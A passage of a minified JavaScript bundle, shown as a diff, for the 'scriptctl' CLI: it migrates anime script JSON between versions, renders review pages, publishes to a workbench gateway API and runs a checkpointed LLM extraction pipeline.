e.map(t=>{if(!Sb(t))throw new S("Migration manifest contains an invalid step artifact.",{exitCode:b,errorCode:"MIGRATE_MANIFEST_INVALID"});return{sourceVersion:t.source_version,targetVersion:t.target_version,identityMap:t.identity_map}})}function Ib(e,t){return xb.find(n=>n.sourceVersion===e&&n.targetVersion<=t)}function Ab(e,t){return e.find(n=>n.sourceVersion===t.sourceVersion&&n.targetVersion===t.targetVersion)}function uw(e,t,n=[]){let o=Wo(e);if(t<o)throw new S("A migration target must be newer than the source script.",{exitCode:b,errorCode:"MIGRATE_TARGET_OLDER",data:{expected:[String(o)],actual:[String(t)]}});let i=Ks(e),r=o,s=[];for(;r<t;){let c=Ib(r,t);if(c===void 0)throw new S(`No migration path exists from Script v${r} to Script v${t}.`,{exitCode:b,errorCode:"MIGRATE_PATH_UNSUPPORTED",data:{actual:[String(r),String(t)]}});let a=c.migrate(i,Ab(n,c));i=a.script,r=c.targetVersion,s.push(a.artifact)}return{sourceVersion:o,targetVersion:t,script:i,steps:s}}function Is(e,t){let n=e[t];return typeof n=="string"?n.trim():""}function kb(e,t){let n=Is(e,t);return/^\d+$/.test(n)?Number(n):null}function bb(e){let t=kb(e,"to");if(wo(t))return t;throw new S("A supported migration target version is required.",{exitCode:B,errorCode:"MIGRATE_TARGET_INVALID",hint:"Pass --to <version> with a supported Script version.",data:{expected:Zc.map(String),actual:[Is(e,"to")||"<empty>"]}})}function vb(e){let t=Li.extname(e);return`${t.length>0?e.slice(0,-t.length):e}.migration.json`}function Ob(e,t,n){let o=[e,t,n].map(i=>Li.resolve(i));if(o[0]===o[1])throw new S("The migration destination must differ from the source.",{exitCode:B,errorCode:"MIGRATE_SAME_PATH",hint:"Choose a separate --output path. The source file stays unchanged.",data:{actual:[e]}});if(o[0]===o[2]||o[1]===o[2])throw new S("The migration manifest needs its own file path.",{exitCode:B,errorCode:"MIGRATE_MANIFEST_PATH",hint:"Choose a --manifest path separate from the source and output files.",data:{actual:[n]}})}function fw(e,t){if(!t&&Er.existsSync(e))throw new S("Migration destination already exists.",{exitCode:B,errorCode:"MIGRATE_OUTPUT_EXISTS",hint:"Choose a new path, or pass --force to replace the migration artifact.",data:{actual:[e]}})}function Rb(e){let t;try{t=Er.readFileSync(e,"utf8")}catch(n){throw new S("Cannot read the source script.",{exitCode:B,errorCode:"MIGRATE_SOURCE_READ_FAILED",hint:"Pass an existing JSON file with --script-path.",data:{actual:[e,n instanceof Error?n.message:String(n)]}})}try{return{raw:t,value:JSON.parse(t)}}catch(n){throw new S("The source script is not valid JSON.",{exitCode:B,errorCode:"MIGRATE_SOURCE_JSON_INVALID",hint:"Repair the JSON syntax, then rerun migrate.",data:{actual:[n instanceof Error?n.message:String(n)]}})}}function Mb(e,t){if(!t||!Er.existsSync(e))return;let n;try{n=JSON.parse(Er.readFileSync(e,"utf8"))}catch(o){throw new S("Cannot reuse the existing migration manifest.",{exitCode:B,errorCode:"MIGRATE_MANIFEST_INVALID",hint:"Restore the migration manifest, or choose a new --manifest path.",data:{actual:[e,o instanceof Error?o.message:String(o)]}})}if(!oe(n)||n.version!==1||!wo(n.source_version)||!wo(n.target_version)||typeof n.source_path!="string"||typeof n.source_sha256!="string")throw new S("Cannot reuse the existing migration manifest.",{exitCode:B,errorCode:"MIGRATE_MANIFEST_INVALID",hint:"Restore the migration manifest, or choose a new --manifest path.",data:{actual:[e]}});return{version:1,source_version:n.source_version,target_version:n.target_version,source_path:n.source_path,source_sha256:n.source_sha256,steps:lw(n.steps)}}async function mw(e){let t=Is(e,"script_path"),n=Is(e,"output");if(!t||!n)throw new S("Migration paths are required.",{exitCode:B,errorCode:"MIGRATE_PATH_MISSING",hint:"Pass --script-path <source.json> and --output <target.json>.",data:{expected:["--script-path <source.json>","--output <target.json>"]}});let o=Li.resolve(t),i=Li.resolve(n),r=Li.resolve(Is(e,"manifest")||vb(i)),s=bb(e),c=!!e.force;return Ob(o,i,r),Ds(i,async()=>{fw(i,c),fw(r,c);let a=Rb(o),d=Wo(a.value);if(s<=d)throw new S("The migration target must be newer than the source script.",{exitCode:B,errorCode:"MIGRATE_TARGET_NOT_NEWER",data:{expected:[`>${d}`],actual:[String(s)]}});let p=Ur(a.value),l=Mb(r,c),f=uw(a.value,s,l?.steps),u=Ur(f.script),y={version:1,source_version:f.sourceVersion,target_version:f.targetVersion,source_path:o,source_sha256:_e(a.raw),steps:f.steps};Fe(r,{...y,steps:y.steps.map(w=>({source_version:w.sourceVersion,target_version:w.targetVersion,identity_map:w.identityMap}))}),Fe(i,f.script);let m={op:"script.migrate",changed:!0,source_script_path:o,script_path:i,manifest_path:r,source_version:f.sourceVersion,target_version:f.targetVersion,source_validation:{ok:p.ok,errors:p.errors.length,warnings:p.warnings.length},validation:{ok:u.ok,errors:u.errors.length,warnings:u.warnings.length,issues:u.errors.slice(0,100)}};return[{text:u.ok?[`Script v${f.targetVersion}: ${i}`,`Migration manifest: ${r}`,"validation: ok"].join(`
1001
+ </script></html>`}var Hk=e=>e==null?"":String(e),Qk=e=>String(e).padStart(3,"0");function Fk(e){if(!e.has("manifest.json"))return;let t=e.readJson("manifest.json");if(!Array.isArray(t.episodes))return;let n=e.path("src");zo.mkdirSync(n,{recursive:!0});for(let o of t.episodes){if(typeof o.episode!="number"||typeof o.path!="string")continue;let i=fc.join(n,`ep_${Qk(o.episode)}.mp4`);try{zo.rmSync(i,{force:!0}),zo.symlinkSync(o.path,i)}catch{}}}async function jy(e){if(e.watch){if((process.env.SANDBOX_PROJECT_GROUP_NO??"").trim())throw new S("`view --watch` runs a local web server and opens a browser; it is local-only and unavailable in the sandbox.",{exitCode:b,errorCode:"VIEW_WATCH_SANDBOX",hint:"Use `scriptctl ingest status` for progress in the sandbox; run `view --watch` on your local machine."});return Jy(e)}let t=Hk(e.workspace_path||"workspace"),n=new mt(fc.resolve(t));if(!n.has("script.json"))throw new S("workspace has no script.json to render.",{exitCode:b,errorCode:"VIEW_NO_SCRIPT",hint:"Run `scriptctl ingest --source-path <src> --workspace-path <dir>` first.",data:{actual:[n.path("script.json")]}});let o=n.has("manifest.json")?n.readJson("manifest.json"):null,i;if(o?.source?.kind==="comic-file"||o?.source?.kind==="comic-directory"){let s=n.readJson("manifest.json"),c=Di(n.readJson("script.json")),a=new Set;for(let p of c.episodes)for(let l of p.scenes)for(let f of l.actions){let u=li.safeParse(f.extend);u.success&&a.add(u.data.scriptctl.source.document_id)}let d=[];n.passDir("src");for(let p of a){let l=s.episodes.find(y=>y.document_id===p);if(!l)throw new S(`Unknown comic source document: ${p}`,{exitCode:b,errorCode:"VIEW_COMIC_SOURCE_MISSING"});let f=n.path(`src/${l.document_id}.pdf`);zo.rmSync(f,{force:!0}),zo.symlinkSync(l.path,f);let u=await ya(l,n.root);d.push({id:l.document_id,title:l.title,pdf:`src/${l.document_id}.pdf`,images:u})}i=Ky(c,d)}else Fk(n),i=Gy(n.readJson("script.json"));n.writeText("review.html",i);let r=n.path("review.html");return[{text:r,data:{output:r}},G]}import*as Oi from"node:path";import Yk from"fast-json-patch";var{compare:zy}=Yk;var Hy="/api/anime/workbench/v2/script/project-groups",qk="/api/anime/workbench/projectGroup/updateProjectGroupInfo",Zk=5e3,Qy=8*1024*1024;function Wk(e){let t=e.trim().replace(/\/+$/,"");for(let n of["/api/anime/workbench","/api/sandbox"])if(t.endsWith(n)){t=t.slice(0,-n.length);break}return t.replace(/\/+$/,"")}function Fy(e){return encodeURIComponent(String(e))}function Xk(e,t,n){if(t===404&&n.includes("/imports"))return new fe("backend lacks episode import API",{status:t,payload:e});let o=null;try{o=e?JSON.parse(e):null}catch{o=null}if(o&&typeof o=="object"){let i=o,r=String(i.msg??i.message??`HTTP ${t}`);return new fe(r,{status:t,code:i.code??null,payload:i})}return new fe(e||`HTTP ${t}`,{status:t,payload:e})}function Yy(e,t){let n=Buffer.byteLength(JSON.stringify(t),"utf8");if(!(n<=Qy))throw new fe(`script ${e} body too large: ${n} bytes (limit ${Qy})`)}async function qy(e,t,n,o,i,r={}){let s=r.body===void 0?void 0:JSON.stringify(r.body),c={Accept:"application/json","X-Access-Key":t};s!==void 0&&(c["Content-Type"]="application/json; charset=utf-8");let a=new AbortController,d=setTimeout(()=>a.abort(),n),p,l;try{let m=await fetch(`${e}${i}`,{method:o,headers:c,body:s,signal:a.signal});p=m.status,l=await m.text()}catch(m){if(m instanceof Error&&m.name==="AbortError")throw new fe("Gateway request timed out");let g=m instanceof Error?m.message:String(m);throw new fe(`Gateway request failed: ${g}`)}finally{clearTimeout(d)}if(p>=400)throw Xk(l,p,i);let f=null;if(l)try{f=JSON.parse(l)}catch{throw new fe("Gateway response is not valid JSON",{status:p,payload:l})}if(f===null)return null;if(typeof f!="object")return f;let u=f,y=u.code;if(y!=null&&String(y)!=="200"){let m=String(u.msg??u.message??"script-output API failed");if(r.allowMissing&&typeof m=="string"&&m.includes("\u5267\u672C\u4E0D\u5B58\u5728"))return null;throw new fe(m,{status:p,code:y,payload:u})}return"data"in u?u.data:u}var Dl=class e{gatewayBase;projectGroupNo;accessKey;timeoutMs;constructor(t){this.gatewayBase=t.gatewayBase,this.projectGroupNo=t.projectGroupNo,this.accessKey=t.accessKey,this.timeoutMs=t.timeoutMs??3e5}static fromEnv(t){let n=(t??process.env.SANDBOX_PROJECT_GROUP_NO??"").trim();if(!n)throw new fe("projectGroupNo missing; pass --project-group-no or set SANDBOX_PROJECT_GROUP_NO",{configMissing:"project"});let o=Wk(process.env.AWB_BASE_URL||"");if(!o)throw new fe("gateway URL missing; set AWB_BASE_URL",{configMissing:"gateway"});let i=(process.env.LINGJING_AWB_ACCESS_KEY||"").trim();if(!i)throw new fe("access key missing; set LINGJING_AWB_ACCESS_KEY",{configMissing:"access"});return new e({gatewayBase:o,projectGroupNo:n,accessKey:i})}get projectPrefix(){return`${Hy}/${Fy(this.projectGroupNo)}`}async getScript(){return await this.request("GET",this.projectPrefix,{allowMissing:!0})}async getRevision(){return await this.request("GET",`${this.projectPrefix}/revision`,{allowMissing:!0})}async getSnapshot(){return await this.request("GET",`${this.projectPrefix}/snapshot`,{allowMissing:!0})}async publishPatch(t){return await this.request("PATCH",`${this.projectPrefix}/publish`,{body:{baseRevision:t.baseRevision,patch:zy(t.old,t.edited),validation:t.validation}})}async replaceScript(t){let n={requestId:t.requestId,baseRevision:t.baseRevision,source:t.source??"ctl",script:t.script};return Yy("root",n),await this.request("PUT",this.projectPrefix,{body:n})}async patchScript(t){let n=zy(t.old,t.edited),o={requestId:t.requestId,baseRevision:t.baseRevision,source:t.source??"ctl",patch:n};return Yy("patch",o),await this.request("PATCH",this.projectPrefix,{body:o})}async saveValidationResult(t){return await this.request("POST",`${Hy}/${Fy(this.projectGroupNo)}/validation-result`,{body:{revision:t.revision,validationStatus:t.validationStatus,validationSummary:t.validationSummary,issues:t.issues}})}async updateEpisodeCount(t){await qy(this.gatewayBase,this.accessKey,Math.min(this.timeoutMs,Zk),"POST",qk,{body:{projectGroupNo:this.projectGroupNo,episodeCount:t}})}async request(t,n,o={}){return qy(this.gatewayBase,this.accessKey,this.timeoutMs,t,n,o)}};function Gl(e){return Dl.fromEnv(e)}var ws=class{workspace;script;version;baseline;baselineHash;scriptPath;client;projectGroupNo;revision;constructor(t){this.workspace=t.workspace,this.script=t.script,this.version=Zo(t.script),this.baseline=structuredClone(t.script),this.baselineHash=Je(t.script),this.scriptPath=t.scriptPath??null,this.client=t.client??null,this.projectGroupNo=t.projectGroupNo??null,this.revision=t.revision??null}get remote(){return this.client!==null}get artifactLabel(){return this.remote?`script-output/${this.projectGroupNo}@revision/${this.revision??0}`:this.scriptPath??""}};function Ho(e,t){let n=t.message||"script-output API failed",o=String(t.code)==="9002"||n.includes("\u7248\u672C\u51B2\u7A81"),i=n.includes("\u5267\u672C\u4E0D\u5B58\u5728"),r=o?"Script has been updated by another revision; keep local work and merge before retrying.":i?"Script not found on the gateway.":"Gateway request failed.";return new S(r,{exitCode:t.status!==null&&t.status>=500?X:b,errorCode:o?"REVISION_CONFLICT":i?"SCRIPT_NOT_FOUND":"SCRIPT_API_FAILED",hint:o?"Keep the local file, inspect the latest remote snapshot, and merge before publishing again.":i?"Run `scriptctl publish` to publish a script first.":"Run `scriptctl doctor` to verify gateway configuration; retry if it was transient.",data:{expected:["successful script-output gateway request"],actual:[n,`status: ${t.status??"<unknown>"}`]}})}async function _s(e){let t=v(e.workspace_path||"workspace"),n=me(e);if(!Fo(n))throw new S("Local script file not found.",{exitCode:b,errorCode:"SCRIPT_NOT_FOUND",hint:"Run `scriptctl checkout`, `scriptctl create`, or pass --script-path to an existing script.",data:{expected:["existing local script JSON"],actual:[n]}});let o;try{o=Sr(n)}catch(i){throw new S("script JSON invalid.",{exitCode:b,errorCode:"SCRIPT_JSON_INVALID",hint:"Fix the local script JSON syntax before editing.",data:{expected:["valid JSON"],actual:[`${n}: ${i.message}`]}})}if(!oe(o))throw new S("script root invalid.",{exitCode:B,errorCode:"SCRIPT_ROOT_INVALID",hint:"Use a valid script document object.",data:{expected:["script root object"],actual:[Array.isArray(o)?"array":typeof o]}});return new ws({workspace:t,scriptPath:n,script:o})}function Es(e,t={}){let n=Bl(e.script);return e.remote&&(n.script_path=e.artifactLabel),n}function eb(e,t){let{ok:n,errors:o,warnings:i}=t,r=[...o.map(d=>({severity:"error",code:d.code,path:d.path,summary:d.message,...d.repair_hint?{repair_hint:d.repair_hint}:{}})),...i.map(d=>({severity:"warning",code:d.code,path:d.path,summary:d.message,...d.repair_hint?{repair_hint:d.repair_hint}:{}}))],s=re(e.episodes),c=0,a=0;for(let d of s)for(let p of re(d.scenes))c+=1,a+=re(p.actions).length;return{passed:n,has_blocking:!n,issues:r,stats:{actors:re(e.actors).length,locations:re(e.locations).length,props:re(e.props).length,episodes:s.length,scenes:c,actions:a}}}function Bl(e){return eb(e,Lr(e))}function tb(e){if(e.path)return v(e.path);let t=[];return e.episode!==null&&e.episode!==void 0&&t.push(v(e.episode)),e.scene!==null&&e.scene!==void 0&&t.push(v(e.scene)),e.action_index!==null&&e.action_index!==void 0&&t.push(`action[${e.action_index}]`),t.length>0?t.join("/"):null}function nb(e){let t=v(e||"info");return t==="blocking"||t==="error"?"error":t==="warning"?"warning":"info"}function ob(e){let t=re(e.issues),n=e.passed?"valid":"invalid",o={passed:!!e.passed,hasBlocking:!!e.has_blocking,stats:e.stats??{},issueCount:t.length},i=[];for(let r of t){if(!oe(r))continue;let s={...r};for(let c of["severity","code","path","summary","repair_hint"])delete s[c];i.push({severity:nb(r.severity),code:v(r.code||"SCRIPT_VALIDATION_ISSUE"),path:tb(r),summary:v(r.summary),repairHint:r.repair_hint,payload:s})}return[n,o,i]}async function Jl(e,t,n){if(!e.remote||e.client===null)return;let o=Number(n??e.revision??0);if(o<=0)return;let[i,r,s]=ob(t);try{await e.client.saveValidationResult({revision:o,validationStatus:i,validationSummary:r,issues:s})}catch(c){throw c instanceof fe?Ho("SCRIPT API BLOCKED: Validation sync failed",c):c}}async function Kl(e,t,n){if(e.scriptPath===null)throw new Error("local script session missing script path");return Gt(e.scriptPath,e.baselineHash),Fe(e.scriptPath,e.script),[null,!1]}async function Zy(e,t=to){let n=await _s(e),o=t.createExecutor(v(e.llm_config).trim()||void 0),i=await sl(n.script,o);n.scriptPath&&Gt(n.scriptPath,n.baselineHash);let r=n.scriptPath?Oi.dirname(n.scriptPath):Oi.resolve(n.workspace),s=Oi.resolve(v(e.output).trim()||Oi.join(r,"asset-audit.json"));Fe(s,i);let c=i.issues.length>0,a=i.issues.map(al);return[{text:[`${i.summary.issues} issues; confidence high=${i.summary.high} medium=${i.summary.medium} low=${i.summary.low}`,...a,`output: ${s}`,...c?["Inspect each finding, repair confirmed duplicates, then rerun `scriptctl audit-assets` and `scriptctl validate`."]:[]].join(`
1002
+ `),data:{op:"script.audit-assets",changed:!1,issues:i.issues,output:s,asset_audit:i,config_source:o.configSource,llm_routes:o.usage()}},c?uo:G]}function Wy(e=""){return{version:4,title:e,worldview:"",style:"",actors:[],locations:[],props:[],episodes:[]}}function Qo(e){let t=oe(e.location)?e.location:null;return{actors:Gn(e.actors)?e.actors:[],props:Gn(e.props)?e.props:[],locations:t&&String(t.location_id??"").trim()?[t]:[]}}function aw(e,t,n){let o=!!t.passed,i=[`created: blank script (Script v${e.version})`,`validation: ${o?"passed":"needs repair"}`];return e.remote&&(i.push(`revision: ${e.revision}`),n!==null&&i.push(`idempotent: ${String(n).toLowerCase()}`)),{text:i.join(`
1003
+ `),data:{op:"script.create",changed:!0,validation:t,script_path:e.artifactLabel,...e.remote?{revision:e.revision,idempotent:n}:{}}}}async function cw(e){let t=v(e.workspace_path||"workspace"),n=!!e.force,o=v(e.title).trim(),i=Wy(o),r=me(e);if(Fo(r)&&!n)throw new S("A script already exists at the target.",{exitCode:b,errorCode:"SCRIPT_EXISTS",hint:"Edit the existing script with the atomic verbs, or pass --force to overwrite with a blank scaffold.",data:{expected:["a non-existent target, or --force to overwrite"],actual:[r]}});Fe(r,i);let s=new ws({workspace:t,scriptPath:r,script:i}),c=Es(s),a=!!c.passed;return[aw(s,c,null),a?G:uo]}import*as wr from"node:fs";import*as Mi from"node:path";function yb(e){let t={};for(let n of e.episodes)for(let o of n.scenes){let i=`${n.episode_id}/${o.scene_id}`;o.actions.forEach((r,s)=>{let c=`${i}#${s}`;t[c]=c})}return t}function Ri(e){return oe(e)&&Object.values(e).every(t=>typeof t=="string")}function wb(e){return oe(e)&&Object.values(e).every(Ri)}function _b(e){return oe(e)&&e.version===3&&Ri(e.actor)&&Ri(e.location)&&Ri(e.prop)&&wb(e.state)&&Ri(e.episode)&&Ri(e.scene)&&Ri(e.action)}function Eb(e){if(e!==void 0){if(_b(e.identityMap))return e.identityMap;throw new S("Migration manifest contains an invalid v3-to-v4 identity map.",{exitCode:b,errorCode:"MIGRATE_MANIFEST_INVALID"})}}function dw(e,t){let n=Tt(e),o=sr(n,Eb(t),{action:yb(n)});return{script:o.script,artifact:{sourceVersion:3,targetVersion:4,identityMap:o.identityMap}}}var xb=[{sourceVersion:3,targetVersion:4,migrate:dw}];function Sb(e){return oe(e)&&yo(e.source_version)&&yo(e.target_version)&&e.source_version<e.target_version&&"identity_map"in e}function pw(e){if(!Array.isArray(e))throw new S("Migration manifest steps must be an array.",{exitCode:b,errorCode:"MIGRATE_MANIFEST_INVALID"});return e.map(t=>{if(!Sb(t))throw new S("Migration manifest contains an invalid step artifact.",{exitCode:b,errorCode:"MIGRATE_MANIFEST_INVALID"});return{sourceVersion:t.source_version,targetVersion:t.target_version,identityMap:t.identity_map}})}function Ib(e,t){return xb.find(n=>n.sourceVersion===e&&n.targetVersion<=t)}function Ab(e,t){return e.find(n=>n.sourceVersion===t.sourceVersion&&n.targetVersion===t.targetVersion)}function lw(e,t,n=[]){let o=Zo(e);if(t<o)throw new S("A migration target must be newer than the source script.",{exitCode:b,errorCode:"MIGRATE_TARGET_OLDER",data:{expected:[String(o)],actual:[String(t)]}});let i=Bs(e),r=o,s=[];for(;r<t;){let c=Ib(r,t);if(c===void 0)throw new S(`No migration path exists from Script v${r} to Script v${t}.`,{exitCode:b,errorCode:"MIGRATE_PATH_UNSUPPORTED",data:{actual:[String(r),String(t)]}});let a=c.migrate(i,Ab(n,c));i=a.script,r=c.targetVersion,s.push(a.artifact)}return{sourceVersion:o,targetVersion:t,script:i,steps:s}}function xs(e,t){let n=e[t];return typeof n=="string"?n.trim():""}function kb(e,t){let n=xs(e,t);return/^\d+$/.test(n)?Number(n):null}function bb(e){let t=kb(e,"to");if(yo(t))return t;throw new S("A supported migration target version is required.",{exitCode:B,errorCode:"MIGRATE_TARGET_INVALID",hint:"Pass --to <version> with a supported Script version.",data:{expected:qc.map(String),actual:[xs(e,"to")||"<empty>"]}})}function vb(e){let t=Mi.extname(e);return`${t.length>0?e.slice(0,-t.length):e}.migration.json`}function Ob(e,t,n){let o=[e,t,n].map(i=>Mi.resolve(i));if(o[0]===o[1])throw new S("The migration destination must differ from the source.",{exitCode:B,errorCode:"MIGRATE_SAME_PATH",hint:"Choose a separate --output path. The source file stays unchanged.",data:{actual:[e]}});if(o[0]===o[2]||o[1]===o[2])throw new S("The migration manifest needs its own file path.",{exitCode:B,errorCode:"MIGRATE_MANIFEST_PATH",hint:"Choose a --manifest path separate from the source and output files.",data:{actual:[n]}})}function uw(e,t){if(!t&&wr.existsSync(e))throw new S("Migration destination already exists.",{exitCode:B,errorCode:"MIGRATE_OUTPUT_EXISTS",hint:"Choose a new path, or pass --force to replace the migration artifact.",data:{actual:[e]}})}function Rb(e){let t;try{t=wr.readFileSync(e,"utf8")}catch(n){throw new S("Cannot read the source script.",{exitCode:B,errorCode:"MIGRATE_SOURCE_READ_FAILED",hint:"Pass an existing JSON file with --script-path.",data:{actual:[e,n instanceof Error?n.message:String(n)]}})}try{return{raw:t,value:JSON.parse(t)}}catch(n){throw new S("The source script is not valid JSON.",{exitCode:B,errorCode:"MIGRATE_SOURCE_JSON_INVALID",hint:"Repair the JSON syntax, then rerun migrate.",data:{actual:[n instanceof Error?n.message:String(n)]}})}}function Mb(e,t){if(!t||!wr.existsSync(e))return;let n;try{n=JSON.parse(wr.readFileSync(e,"utf8"))}catch(o){throw new S("Cannot reuse the existing migration manifest.",{exitCode:B,errorCode:"MIGRATE_MANIFEST_INVALID",hint:"Restore the migration manifest, or choose a new --manifest path.",data:{actual:[e,o instanceof Error?o.message:String(o)]}})}if(!oe(n)||n.version!==1||!yo(n.source_version)||!yo(n.target_version)||typeof n.source_path!="string"||typeof n.source_sha256!="string")throw new S("Cannot reuse the existing migration manifest.",{exitCode:B,errorCode:"MIGRATE_MANIFEST_INVALID",hint:"Restore the migration manifest, or choose a new --manifest path.",data:{actual:[e]}});return{version:1,source_version:n.source_version,target_version:n.target_version,source_path:n.source_path,source_sha256:n.source_sha256,steps:pw(n.steps)}}async function fw(e){let t=xs(e,"script_path"),n=xs(e,"output");if(!t||!n)throw new S("Migration paths are required.",{exitCode:B,errorCode:"MIGRATE_PATH_MISSING",hint:"Pass --script-path <source.json> and --output <target.json>.",data:{expected:["--script-path <source.json>","--output <target.json>"]}});let o=Mi.resolve(t),i=Mi.resolve(n),r=Mi.resolve(xs(e,"manifest")||vb(i)),s=bb(e),c=!!e.force;return Ob(o,i,r),Vs(i,async()=>{uw(i,c),uw(r,c);let a=Rb(o),d=Zo(a.value);if(s<=d)throw new S("The migration target must be newer than the source script.",{exitCode:B,errorCode:"MIGRATE_TARGET_NOT_NEWER",data:{expected:[`>${d}`],actual:[String(s)]}});let p=Lr(a.value),l=Mb(r,c),f=lw(a.value,s,l?.steps),u=Lr(f.script),y={version:1,source_version:f.sourceVersion,target_version:f.targetVersion,source_path:o,source_sha256:_e(a.raw),steps:f.steps};Fe(r,{...y,steps:y.steps.map(w=>({source_version:w.sourceVersion,target_version:w.targetVersion,identity_map:w.identityMap}))}),Fe(i,f.script);let m={op:"script.migrate",changed:!0,source_script_path:o,script_path:i,manifest_path:r,source_version:f.sourceVersion,target_version:f.targetVersion,source_validation:{ok:p.ok,errors:p.errors.length,warnings:p.warnings.length},validation:{ok:u.ok,errors:u.errors.length,warnings:u.warnings.length,issues:u.errors.slice(0,100)}};return[{text:u.ok?[`Script v${f.targetVersion}: ${i}`,`Migration manifest: ${r}`,"validation: ok"].join(`
1004
1004
  `):[`Script v${f.targetVersion}: ${i}`,`Migration manifest: ${r}`,`validation: ${u.errors.length} errors; repair before production use`].join(`
1005
- `),data:m},u.ok?G:fo]})}import*as xr from"node:path";import*as hw from"node:path";function gw(e,t){let n=_e(t);return hw.join(e,`${n}.json`)}function As(e){return{read(t){let n=gw(e,t);return Yo(n)?Ar(n):null},write(t){Oc(gw(e,t.key),t)}}}function Wl(){return{read(){return null},write(){}}}function Xl(e){if(Array.isArray(e))return`[${e.map(t=>Xl(t)).join(",")}]`;if(e&&typeof e=="object"){let t=e;return`{${Object.keys(t).sort().map(n=>`${JSON.stringify(n)}:${Xl(t[n])}`).join(",")}}`}return JSON.stringify(e)}function eu(e){return _e(Xl(e))}function tu(e,t,n){return{key:e,signature:t,value:n,createdAt:new Date().toISOString()}}function Lb(e,t){return[e.trim(),t.trim()].filter(Boolean).join(`
1005
+ `),data:m},u.ok?G:uo]})}import*as _r from"node:path";import*as gw from"node:path";function mw(e,t){let n=_e(t);return gw.join(e,`${n}.json`)}function Ss(e){return{read(t){let n=mw(e,t);return Fo(n)?Sr(n):null},write(t){vc(mw(e,t.key),t)}}}function Zl(){return{read(){return null},write(){}}}function Wl(e){if(Array.isArray(e))return`[${e.map(t=>Wl(t)).join(",")}]`;if(e&&typeof e=="object"){let t=e;return`{${Object.keys(t).sort().map(n=>`${JSON.stringify(n)}:${Wl(t[n])}`).join(",")}}`}return JSON.stringify(e)}function Xl(e){return _e(Wl(e))}function eu(e,t,n){return{key:e,signature:t,value:n,createdAt:new Date().toISOString()}}function Lb(e,t){return[e.trim(),t.trim()].filter(Boolean).join(`
1006
1006
 
1007
- `)}function ww(e,t){return{system:Lb(e.instruction,e.format),user:e.input?e.input({parcel:t}):String(t)}}function Nb(e,t,n){if(e.kind==="llm"){if(!n.executor)throw new Error("loom llm task requires run({ executor })");let o=ww(e,t),i=n.executor.route(e.taskId);return{request:o,payload:{step:"extract",kind:"llm",taskId:e.taskId,version:e.version??"",routeFingerprint:i.fingerprint,system:o.system,user:o.user,salt:n.checkpointSalt}}}return{payload:{step:"extract",kind:"fn",version:e.version??"",parcel:t,salt:n.checkpointSalt}}}function hc(e){return{kind:"root",children:e}}function ru(e,t,n){return{kind:"scope",scope:e,data:n,children:t}}function ks(e){return{kind:"parcel",data:e}}function vs(e){return{kind:"llm",...e}}var nu=class e{constructor(t,n=[]){this.input=t;this.steps=n}input;steps;split(t){return new e(this.input,[...this.steps,{kind:"split",spec:t}])}extract(t){return new e(this.input,[...this.steps,{kind:"extract",task:t}])}reduce(t,n){let o=typeof n=="function"?{run:n}:n;return new e(this.input,[...this.steps,{kind:"reduce",scope:t,task:o}])}plan(){return{input:this.input,steps:[...this.steps]}}async run(t={}){return await $b(this.input,this.steps,t)}};function yc(e){return new nu(e)}async function Ub(e,t,n){if(e.length===0)return[];let o=new Array(e.length),i=0,r=Math.max(1,Math.min(t,e.length));return await Promise.all(Array.from({length:r},async()=>{for(;;){let s=i++;if(s>=e.length)break;o[s]=await n(e[s],s)}})),o}function Pb(e,t){let n=t.partition(e);return hc(n.map(o=>{let i=t.chunk(o).map(r=>ks(r));return ru(t.scope,i,o)}))}function ou(e,t=[]){if(e.kind==="parcel")return[{parcel:e.data,path:t}];let n=(e.kind==="root",e.children),o=[];for(let i=0;i<n.length;i++){let r=n[i],s=r.kind==="scope"?[...t,`${r.scope}:${i}`]:[...t,`parcel:${i}`];o.push(...ou(r,s))}return o}function bs(e,t){return e?.(t),t}async function Cb(e,t){return bs(e.validate,await e.run({parcel:t}))}async function Tb(e,t,n){if(!n.executor)throw new Error("loom llm task requires run({ executor })");return n.executor.generateText(e.taskId,{system:t.system,user:t.user,signal:n.signal})}function yw(e,t,n){return bs(e.validate,e.parse({text:n.text,parcel:t,raw:n.raw}))}function _w(e,t,n){if(e.kind==="parcel"){let i=t[n.index];return n.index+=1,ks(i)}let o=e.children.map(i=>_w(i,t,n));return e.kind==="root"?hc(o):ru(e.scope,o,e.data)}function Vb(e){return e.children.every(t=>t.kind==="parcel")}async function Ew(e,t,n,o,i){if(e.kind==="parcel")return e;let r=[];for(let w=0;w<e.children.length;w++){let h=e.children[w];r.push(await Ew(h,t,n,o,[...i,`${h.kind}:${w}`]))}let s=e.kind==="root"?hc(r):ru(e.scope,r,e.data),c=t==="root"&&s.kind==="root",a=s.kind==="scope"&&s.scope===t;if(!c&&!a||!Vb(s))return s;let d=s.children.map(w=>w.data),p=s.kind==="scope"?s.data:null,l=s.kind==="scope"?s.scope:"root",f=n.version??"",u=`reduce:${t}:${i.join("/")}:${eu({items:d,scopeData:p,version:f,salt:o.checkpointSalt})}`,y=eu({step:"reduce",scope:t,version:f,items:d,scopeData:p,salt:o.checkpointSalt}),m=await iu(o.checkpoint,u,y);if(m.hit)return o.report.reused+=1,ks(bs(n.validate,m.value));let g=bs(n.validate,await n.run(d,{scope:p,scopeName:l}));return o.report.ran+=1,await o.checkpoint.write(tu(u,y,g)),ks(g)}async function iu(e,t,n){let o=await e.read(t);return o&&o.signature===n?{hit:!0,value:o.value}:{hit:!1}}async function $b(e,t,n){let o={executor:n.executor,signal:n.signal,checkpointSalt:n.checkpointSalt,checkpoint:n.checkpoint??Wl(),concurrency:n.concurrency??4,report:{reused:0,ran:0}},i=null,r=e;for(let c of t){if(c.kind==="split"){i=Pb(r,c.spec),r=i;continue}if(i||(i=hc([ks(r)])),c.kind==="extract"){let a=ou(i),d=await Ub(a,o.concurrency,async p=>{let l=Nb(c.task,p.parcel,o),f=eu(l.payload),u=`extract:${p.path.join("/")}:${f}`;if(c.task.kind==="llm"){let g=await iu(o.checkpoint,u,f);if(g.hit)return o.report.reused+=1,o.executor?.recordReuse(c.task.taskId),yw(c.task,p.parcel,g.value);let w=l.request??ww(c.task,p.parcel),h=await Tb(c.task,w,o),_=yw(c.task,p.parcel,h);return o.report.ran+=1,await o.checkpoint.write(tu(u,f,h)),_}let y=await iu(o.checkpoint,u,f);if(y.hit)return o.report.reused+=1,bs(c.task.validate,y.value);let m=await Cb(c.task,p.parcel);return o.report.ran+=1,await o.checkpoint.write(tu(u,f,m)),m});i=_w(i,d,{index:0}),r=i;continue}i=await Ew(i,c.scope,c.task,o,[]),r=i}if(!i)return{value:r,report:o.report};let s=ou(i);if(s.length!==1)throw new Error(`loom plan ended with ${s.length} result(s); reduce to root before run 